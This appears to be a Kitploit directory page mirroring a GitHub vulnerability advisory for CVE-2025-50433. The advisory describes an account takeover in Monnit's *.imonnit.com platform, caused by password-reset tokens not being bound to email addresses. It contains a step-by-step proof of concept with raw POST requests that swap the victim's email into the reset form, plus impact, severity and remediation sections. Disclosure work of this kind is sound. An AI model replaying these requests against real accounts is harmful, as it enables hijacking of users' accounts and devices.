Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0xmandor/cve-2025-50433
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHub0xmandor/cve-2025-50433

CVE-2025-50433

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-50433 — Critical Account Takeover Vulnerability Affecting Monnit Cloud Platforms (*.imonnit.com)

Summary

A critical authentication vulnerability exists across *.imonnit.com that allows full Account Takeover (ATO) on any user account without victim interaction.

The backend fails to validate the association between the password-reset token and the target email, enabling attackers to use their own valid reset token to reset the password of any victim account.


Attack Vector (Step-by-Step PoC)

  1. Attacker creates account A ([email protected]).
  2. Victim has account B ([email protected]).
  3. Attacker requests password reset for both A and B.
  4. Attacker receives a valid reset token for account A only.
  5. Attacker opens the password reset form using token A:
root@kitploit:~
    POST /Account/PasswordReset/?VerificationCode=TTT4EB4I HTTP/1.1
    Host: www.imonnit.com
    Cookie: ASP.NET_SessionId=jf3y4eg3qdrefnfnqcj42yut; __RequestVerificationToken=dObesuZNYwsn9USVixM8aZTa9i_E_18PRpfCE0L39NUJlfolWpjSYX0BW32_mK50O5fcGbr3oBMg2S6D4ONl0bJhJS4kmxtHeQEn8Y0kNNt324q5Hc0Gu3JBHH7CwrylvP8XNQ2

    __RequestVerificationToken=-realtoken5K0nzPC8H2Aw2&NewPassword=1!Password%21&ConfirmPassword=1!Password%21&[email protected]&[email protected]
  1. Before submitting, attacker changes the email and username fields to the victim's email:
root@kitploit:~
    POST /Account/PasswordReset/?VerificationCode=TTT4EB4I HTTP/1.1
    Host: www.imonnit.com
    Cookie: ASP.NET_SessionId=jf3y4eg3qdrefnfnqcj42yut; __RequestVerificationToken=dObesuZNYwsn9USVixM8aZTa9i_E_18PRpfCE0L39NUJlfolWpjSYX0BW32_mK50O5fcGbr3oBMg2S6D4ONl0bJhJS4kmxtHeQEn8Y0kNNt324q5Hc0Gu3JBHH7CwrylvP8XNQ2

    __RequestVerificationToken=-realtoken5K0nzPC8H2Aw2&NewPassword=1!Password%21&ConfirmPassword=1!Password%21&[email protected]&[email protected]
  1. Backend incorrectly accepts the mismatched email + token.
  2. Victim's password is reset, and attacker gains full access to the victim's account.

Impact

  • Full Account Takeover (ATO).
  • Complete access to victim dashboards, sensors, and account data.
  • Ability to modify devices, notifications, and configurations.
  • Privilege escalation without victim interaction.
  • Remote exploitation with no prerequisites.

Severity

CVSS 3.1: 9.8 (Critical)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Affected Domains

root@kitploit:~
*.imonnit.com

Root Cause

The password reset endpoint does not validate that the reset token belongs to the same email provided during the reset operation, enabling arbitrary password resets using attacker-controlled tokens.


Affected Endpoint

root@kitploit:~
/Account/PasswordReset/

Vendor: Monnit Corporation


Recommendations

  • Enforce strict token--email binding validation on the backend.
  • Reject any password reset request where the token does not match the associated account.
  • Invalidate tokens immediately after use.

Discoverer

Mohamed Mandor (0xmandor) GitHub: https://github.com/0xmandor

Download Tool